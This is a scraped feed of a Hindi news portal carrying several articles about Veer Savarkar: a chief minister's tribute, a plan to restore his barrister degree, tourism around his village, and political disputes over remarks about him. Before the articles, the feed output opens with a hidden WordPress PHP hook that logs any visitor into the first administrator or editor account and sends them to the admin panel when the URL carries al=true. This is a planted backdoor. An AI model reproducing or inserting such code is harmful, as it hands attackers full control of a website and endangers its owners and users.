// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Veer Savarkar – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 26 Feb 2026 12:03:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 वीर सावरकर की पुण्यतिथि पर CM विष्णुदेव साय का नमन, कहा– राष्ट्रभक्ति की प्रेरणा रहेंगे अमर https://pratyushaashakinayikiran.com/?p=200929 Thu, 26 Feb 2026 12:03:00 +0000 https://pratyushaashakinayikiran.com/?p=200929 रायपुर

मुख्यमंत्री  विष्णु देव साय ने आज राजधानी रायपुर स्थित मुख्यमंत्री निवास कार्यालय में महान क्रांतिकारी, प्रखर राष्ट्रवादी चिंतक एवं स्वतंत्रता सेनानी विनायक दामोदर सावरकर की पुण्यतिथि पर उनके छायाचित्र पर पुष्पांजलि अर्पित कर श्रद्धापूर्वक नमन किया। इस अवसर पर मुख्यमंत्री  साय ने कहा कि वीर सावरकर केवल एक स्वतंत्रता सेनानी ही नहीं, बल्कि दूरदर्शी विचारक, समाज सुधारक, ओजस्वी लेखक-कवि और प्रखर इतिहासकार भी थे। उन्होंने भारतीय स्वाधीनता संग्राम को नई वैचारिक ऊर्जा प्रदान की तथा राष्ट्रभक्ति की भावना को जन-जन तक पहुंचाने में महत्वपूर्ण भूमिका निभाई।

मुख्यमंत्री  साय ने कहा कि मातृभूमि की स्वतंत्रता के लिए सावरकर जी का त्याग, संघर्ष और अदम्य साहस भारतीय इतिहास में स्वर्ण अक्षरों में अंकित है। कालापानी की अमानवीय यातनाओं के बावजूद उनका राष्ट्र के प्रति समर्पण अडिग रहा। उनका संपूर्ण जीवन देशसेवा, आत्मबल और राष्ट्र गौरव का प्रेरणास्रोत है। मुख्यमंत्री  साय ने कहा कि वीर सावरकर के विचार आज भी युवाओं को राष्ट्र निर्माण के लिए प्रेरित करते हैं। हमें उनके आदर्शों को आत्मसात करते हुए एक सशक्त, समृद्ध और आत्मनिर्भर भारत के निर्माण के लिए निरंतर प्रयासरत रहना चाहिए।

इस अवसर पर छत्तीसगढ़ खनिज विकास निगम के अध्यक्ष  सौरभ सिंह, छत्तीसगढ़ राज्य अक्षय ऊर्जा विकास प्राधिकरण के अध्यक्ष  भूपेंद्र सवन्नी,  मुख्यमंत्री के प्रेस अधिकारी  आलोक सिंह,  राम गर्ग सहित अन्य जनप्रतिनिधिगण उपस्थित थे।

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महाराष्ट्र सरकार वीर सावरकर की बैरिस्टर डिग्री को बहाल कराएगी, मुंबई यूनिवर्सिटी में क्या बोले फडणवीस https://pratyushaashakinayikiran.com/?p=159667 Wed, 28 May 2025 08:16:00 +0000 https://pratyushaashakinayikiran.com/?p=159667 मुंबई
 भारतीय युवाओं में स्वतंत्रता की अलख जगाने वाले स्वतंत्रता सेनानी वीर सावरकर की 'बीए' और 'बैरिस्टर' की डिग्री अंग्रेजों ने छीन ली थी। इनमें से 'बीए' की डिग्री मुंबई विश्वविद्यालय ने लौटा दी। महाराष्ट्र सरकार ने ऐलान किया है कि अब वीर सावरकर की बैरिस्टर डिग्री की बहाली के लिए प्रयास शुरू किए जाएंगे। महाराष्ट्र के मुख्यमंत्री देवेद्र फडणवीस ने मंगलवार को कहा है कि हम उस उपाधि को वापस पाने के लिए हर संभव प्रयास करेंगे और सावरकर को मरणोपरांत 'बैरिस्टर' की उपाधि प्रदान करेंगे। फडणवीस ने यह ऐलान मुंबई विश्वविद्यालय द्वारा आयोजित 'स्वातंत्र्य वीर विनायक दामोदर सावरकर अध्ययन एवं शोध केंद्र' के उद्घाटन समारोह के मौके पर कही। इस कार्यक्रम में राज्यपाल सी पी राधाकृष्णन भी मौजूद रहे, इस आयोजन में गृह मंत्री अमित शाह का चीफ गेस्ट बनाया गया था हालांकि वह कुछ कारणों से आयोजन में उपस्थित नहीं रह पाए थे

गृह मंत्री के पीछे सिर्फ दो तस्वीरें
फडणवीस ने कहा कि इस नए शोध केंद्र से वीर सावरकर की बैरिस्टर की उपाधि वापस दिलाने के काम में मदद मिलनी चाहिए। उन्होंने उम्मीद व्यक्त करते हुए कहा कि इस संबंध में प्रस्ताव और दस्तावेज प्रस्तुत किए जाने चाहिए। उन्होंने कहा कि नई दिल्ली में केंद्रीय गृह मंत्री अमित शाह जिस कार्यालय में बैठते हैं, वहां उनकी कुर्सी के पीछे केवल दो तस्वीरें हैं। एक आर्य चाणक्य की और दूसरी स्वातंत्र्य वीर सावरकर की। उनकी। इसलिए सावरकर के प्रति उनकी भक्ति को शब्दों में व्यक्त करने की आवश्यकता नहीं है। फडणवीस ने कहा कि सावरकर का जीवन प्रेरणादायक है। उन्होंने बचपन में अभिनव भारत जैसे संगठन की स्थापना करके भारतीय स्वतंत्रता के बारे में जागरूकता पैदा की। उन्होंने लंदन में इंडिया हाउस के माध्यम से महान कार्य किए।

सबसे खतरनाक क्रांतिकारी थे सावरक
फडणवीस ने कहा कि ब्रिटिश पत्र में उल्लेख किया गया है कि सबसे खतरनाक क्रांतिकारी वीर सावरकर हैं। इसीलिए उनकी उपाधियां छीन ली गईं। अगर सावरकर को मार्सिले बंदरगाह में गिरफ्तार नहीं किया गया होता, तो भारतीय स्वतंत्रता का इतिहास अलग होता। वे एकमात्र स्वतंत्रता सेनानी हैं जिन्हें दो बार आजीवन कारावास की सजा सुनाई गई थी। लेकिन कुछ मूर्ख उन्हें माफ़ी वीर कहते हैं, मेरी उनसे केवल यही अपील है कि आप अंडमान की उस कोठरी में केवल 11 घंटे बिताएं, मैं आपको पद्मश्री से सम्मानित करने की सिफारिश करूंगा। इस कार्यक्रम से इतर गृह मंत्री अमित शाह ने वीर सावरकर के परिजनों से मुंबई में मुलाकात की।

कहां से हासिल की थी बैरिस्टर की डिग्री?
वीर सावरकर ने लंदन के ग्रेज़ इन में बार-एट-लॉ की परीक्षा पास की। वे ग्रेज़ इन लॉ कॉलेज के छात्र भी थे। हालांकि उन्होंने परीक्षा पास कर ली थी, लेकिन उनकी राजनीतिक गतिविधियों के कारण उन्हें बार में प्रवेश नहीं मिला। वीर सारवकर पर हाल ही में किताब लिखने वाले प्रोफेसर चिरायु पंडित ने इस फैसले का स्वागत किया है। उन्होंने कहा महाराष्ट्र सरकार के इस फैसले का स्वागतयोग्य है है। पंडित ने उदय माहूरकर के साथ 'वीर सावरकर – 'दी मैन हू कुड हैव प्रिवेंटेड पार्टिशन' किताब लिखी है।

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वीर सावरकर का गांव भगूर अमृत काल में पर्यटन स्थल के तौर चमकेगा, केंद्र सरकार ने की ये बड़ी तैयारी https://pratyushaashakinayikiran.com/?p=158607 Sat, 24 May 2025 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=158607 मुंबई/नाशिक
 अगर सबकुछ ठीक रहा है तो जल्द ही वीर सावरकर का पैतृक गांव जल्द की पर्यटन के राष्ट्रीय मानचित्र में शामिल हो जाएगा।  प्रधानमंत्री नरेंद्र मोदी अमृत भारत स्कीम के तहत देश के 103 स्टेशनों का उद्घाटन किया। इसमें वीर सावरकर के गांव के सबसे नजदीक पड़ने वाले देवलाली रेलवे स्टेशन भी शामिल है। इसका विकास सेंट्रल रेलवे की तरफ से किया गया है। सेंट्रल रेलवे ने इस स्टेशन के पहले और अब की तस्वीरें भी साझा की हैं। इस रेलवे स्टेशन से सावरकर का भगूर गांव सिर्फ तीन किलोमीटर की दूरी पर है। इस स्टेशन के पुनर्निर्माण के बाद चर्चा शुरू हो गई है कि आने वाले दिनों में वीर सावरकर का गांव पर्यटन के राष्ट्रीय मानचित्र पर आ सकता है। महाराष्ट्र में कांग्रेस को छोड़कर सभी दलों वीर सावरकर के पक्ष में खड़े होते रहे हैं। पिछले दिनों मुख्यमंत्री देवेंद्र फडणवीस वर्धा में वीर सावरकर से जुड़े एक कार्यक्रम में पहुंचे थे तब उन्होंने वहां एक पुस्तिका का विमाेचन किया था।

बीजेपी के लिए सबसे बड़े नायक
बीजेपी स्वातंत्र्य वीर सावरकर को सबसे बड़ा नायक मानती है। इतना ही नहीं वह भाजपा के लिए हिंदू केंद्रित राजनीति के भी प्रतीक हैं। बीजेपी और राष्ट्रीय स्वयंसेवक संघ (RSS) वीर सावरकर को भारत का पहला आजादी पुरुष भी कहती आई है। देवलाली स्टेशन महाराष्ट्र के नासिक जिले में आता है। ऐसे माना जा रहा है कि वीर सावरकर के गांव भगूर को राष्ट्रीय पर्यटन मानचित्र पर लाने के लिए ही सबसे नजदीक के स्टेशन का कायाकल्प किया गया है ताकि वीर सावरकर के गांव तक लोग आसानी से पहुंच सकें। महाराष्ट्र में बीजेप के सहयोगी शिंदे की सेना वीर सावरकर के मुद्दे पर साथ है। इस मुद्दे पर उद्धव ठाकरे के भी विरोध कर पाने की गुंजाइश नहीं है। अगर वीर सावरकर का गांव पर्यटक के मैप पर चमकता है तो इससे बीजेपी को फायदा होगा। बीजेपी कई बार वीर सावरकर के मुद्दे पर कड़ा और आक्रामक स्टैंड भी ले चुकी है।

अब आगे क्या है तैयारी?
सेंट्रल रेलवे के अधिकारियों की मानें तो इस स्टेशन पर कुछ और रेलगाड़ियों के ठहराव की योजना पर विचार कर रहा है। जिससे नाशिक आने वाले पर्यटक और अन्य लोग नाशिक से एक स्टेशन पहले देवलाली रेलवे स्टेशन पर ही उतरकर वीर सावरकर का गांव भी देख पाएं। इसके लिए केंद्र सरकार ने महाराष्ट्र सरकार को रेलवे स्टेशन से भगूर तक आने-जाने की व्यवस्था को बेहतर करने की सलाह भी दी है। केंद्र और राज्य में एनडीए की सरकार होने के कारण बीजेपी को लगता है कि अगले कुछ सालों में भगूर गांव को पर्यटन में आगे किया जा सकता है। भगूर गांव नासिक से 22 किलोमीटर की दूरी पर है।

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राहुल गांधी ने संसद में वीर सावरकर पर की टिप्पणी, एनडीए सांसदों ने लगाया फेक नैरेटिव फैलाने का आरोप https://pratyushaashakinayikiran.com/?p=110004 Sun, 15 Dec 2024 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=110004 नई दिल्ली।

लोकसभा में शनिवार को संविधान के 75 साल की गौरवशाली यात्रा पर चर्चा के दूसरे दिन नेता प्रतिपक्ष राहुल गांधी ने भाजपा और वीर सावरकर पर निशाना साधते हुए सदन में संविधान मनुस्मृति की प्रतियां लहराईं। उन्होंने सत्ता पक्ष से पूछा कि आपके नेता ने संविधान की जगह मनुस्मृति से देश चलाने की वकालत की थी। इस पर शिवसेना के श्रीकांत शिंदे और भाजपा के पी.पी. चौधरी ने कांग्रेस पार्टी पर संविधान की हत्या करने का आरोप लगाया।

श्रीकांत शिंदे ने कहा, "राहुल गांधी ने संविधान छोड़कर सभी मुद्दों पर बात की। वह जो हर समय सावरकर जी को गाली देने का काम करते हैं, उन्होंने आज भी वही किया। लेकिन, मैंने उनकी दादी पूर्व प्रधानमंत्री इंदिरा गांधा का पत्र उनको दिखाया। उनको यह बात पता नहीं थी कि इंदिरा गांधी के विचार सावरकर के लिए क्या थे। आज उनको पता चला, इसलिए वह तिलमिला उठे। उनको लगा कि यह बात उन्हें पता ही नहीं थी। वह संविधान को हाथ में पकड़ने के नाम पर कोरे कागज लेकर घूम रहे थे। लोगों में फेक नैरेटिव फैलाने का काम उन्होंने लोकसभा चुनाव में किया। वह नैरेटिव सिर्फ लोकसभा चुनावों तक चला। इसके बाद लोगों ने इन्हें हरियाणा और महाराष्ट्र चुनाव में उठाकर राज्य के बाहर फेंक दिया।" भाजपा सांसद पी.पी. चौधरी ने कहा, "कांग्रेस सरकार में जवाहर लाल नेहरू से लेकर इंदिरा गांधी से होते हुए मनमोहन सिंह तक सभी ने सरकारों को भंग किया। इंदिरा गांधी के समय सबसे ज्यादा सरकारें भंग हुईं। हर साल करीब तीन सरकार भंग होने का औसत रहा। इससे बड़ा संविधान पर हमला क्या हो सकता है। हमेशा जवाहर लाल नेहरू चाहते थे और कांग्रेस भी चाहती है कि न्यायिक व्यवस्था उनके नीचे रहे। न्यायिक व्यवस्था स्वतंत्र न रहे। सबसे पहले न्यायाधीश कानिया जब रिटायर हुए तो उस समय भी नए सीजेआई बनाने में कांग्रेस सरकार ने वरिष्ठता के पैमाने को दरकिनार कर दिया। कांग्रेस पार्टी ने संविधान का सबसे ज्यादा मजाक उड़ाया है।

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कर्नाटक के स्वास्थ्य मंत्री मुश्किल में, सावरकर के पोते करेंगे मानहानि का केस; भाजपा ने भी घेरा https://pratyushaashakinayikiran.com/?p=79265 Thu, 03 Oct 2024 18:08:00 +0000 https://pratyushaashakinayikiran.com/?p=79265 बेंगलुरु
कर्नाटक के स्वास्थ्य मंत्री दिनेश गुंडू राव ने वीर सावरकर को लेकर विवादास्पद टिप्पणी की है। उन्होंने कहा कि सावरकर एक ब्राह्मण थे, फिर भी मांसाहारी थे। वो बीफ खाते थे। उन्होंने कभी गाय के वध का विरोध नहीं किया। इस विषय पर उनकी सोच काफी आधुनिक थी। उनके विचार एक तरह से कट्टरपंथी थे, जबकि दूसरी तरफ वह आधुनिकता को अपनाते थे। कुछ लोग यह भी कहते हैं कि वह एक ब्राह्मण होने के नाते खुलकर मांस खाते थे और इसका प्रचार करते थे। उन्होंने मोहम्मद अली जिन्ना के मुकाबले सावरकर को ज्यादा कट्टरपंथी बताया है।

जिन्ना नहीं थे कट्टरपंथी: राव
मोहम्मद अली जिन्ना का जिक्र करते हुए राव ने कहा कि उन्होने एक और चरमपंथ का प्रतिनिधित्व किया। वे कभी भी कठोर इस्लामवादी नहीं रहे, और कुछ लोगों का कहना है कि उन्होंने सूअर का मांस भी खाया। हालांकि वह बाद में मुसलमानों के लिए एक प्रतीक बन गए। जिन्ना कभी भी कट्टरपंथी नहीं थे, लेकिन सावरकर थे। राव ने ये भी कहा कि महात्मा गांधी एक सख्त शाकाहारी थे और हिंदू सांस्कृतिक रूढ़िवाद में उनकी गहरी आस्था थी। उन्होंने गांधी को एक लोकतांत्रिक व्यक्ति बताया, जो अपनी सोच में प्रगतिशील थे।

'बांटों और राज करो' नीति को अपना रही कांग्रेस
उन्होंने आगे कहा, 'पहले राहुल गांधी ऐसा कर रहे थे। वहीं अब उनके नेता बयानबाजी कर रहे हैं। कांग्रेस हिंदू समाज को जातियों में बांटकर चुनाव जीतना चाहती है। यह अंग्रेजों की फूट डालो और राज करो की नीति की तरह है। सावरकर के बीफ खाने और गोहत्या का समर्थन करने का बयान गलत है। मैं उनके खिलाफ मानहानि का मामला दर्ज कराऊंगा।'

उन्होंने यह भी कहा कि इंदिरा गांधी ने सावरकर की नीतियां अपनाई थीं। उन्होंने कभी गांधी या नेहरू की कोई नीति नहीं अपनाई।

भाजपा नेता ने भी कांग्रेस पर बोला हमला
भाजपा नेता मुख्तार अब्बास नकवी ने कहा, 'इन लोगों की ऐसी जानकारी साबित करती है कि ये अपना मानसिक संतुलन खो चुके हैं। अगर वे इस तरह की जानकारी देते रहेंगे तो समाज उन्हें गंभीरता से नहीं लेगा। उन्हें बेहतर होने और देश की महान हस्तियों के बारे में ज्ञान हासिल करने के लिए एक मानसिक संस्थान में जाना चाहिए।'

ये लोग सावरकर के बारे में कुछ नहीं जानते: महाराष्ट्र के उप मुख्यमंत्री
महाराष्ट्र के उप मुख्यमंत्री देवेंद्र फडणवीस ने कहा, 'ये लोग सावरकर के बारे में कुछ नहीं जानते। बार-बार उनका अपमान करते हैं। सावरकर ने गाय पर अपनी राय बखूबी रखी है। उन्होंने कहा था कि किसान के जन्म से लेकर मरने तक गायों ने उनकी मदद की है। तो गाय को भगवान का दर्जा दिया गया है। राहुल गांधी ने सावरकर पर इस तरह के झूठे बयान देने का सिलसिला शुरू किया और मुझे लगता है कि वे इसे आगे ले जाने की कोशिश कर रहे हैं।'

सावरकर के पोते करवाएंगे मानहानि का केस दर्ज
कर्नाटक के स्वास्थ्य मंत्री दिनेश गुंडू राव के इस बयान पर सावरकर के पोते रंजित सावरकर ने इसे लेकर कांग्रेस पर हमला बोला है। उन्होंने कहा कि सावरकर को बार-बार बदनाम करने की कांग्रेस की रणनीति है, खासकर जब चुनाव आ रहे हैं। सावरकर के बीफ खाने और गोहत्या का समर्थन करने का बयान गलत है। मैं उनके खिलाफ मानहानि का मामला दर्ज कराऊंगा।

फडनवीस ने बोला कांग्रेस पर हमला
कर्नाटक सरकार के मंत्री दिनेश गुंडूराव के बयान पर भाजपा नेता और महाराष्ट्र के उपमुख्यमंत्री देवेंद्र फडणवीस ने कहा कि ये बार-बार सावरकर का अपमान करते हैं। सावरकर जी ने गाय पर अपने विचार स्पष्ट तौर पर रखे हैं। उन्होंने कहा है कि किसान को जन्म से लेकर मृत्यु तक गाय मदद करती है इसलिए हमने गाय को ईश्वर का दर्ज़ा दिया है। सावरकर जी पर गलत बयानबाजी करना राहुल गांधी ने शुरू किया है, उसी को आगे ले जाने का प्रयास ये लोग कर रहे हैं।

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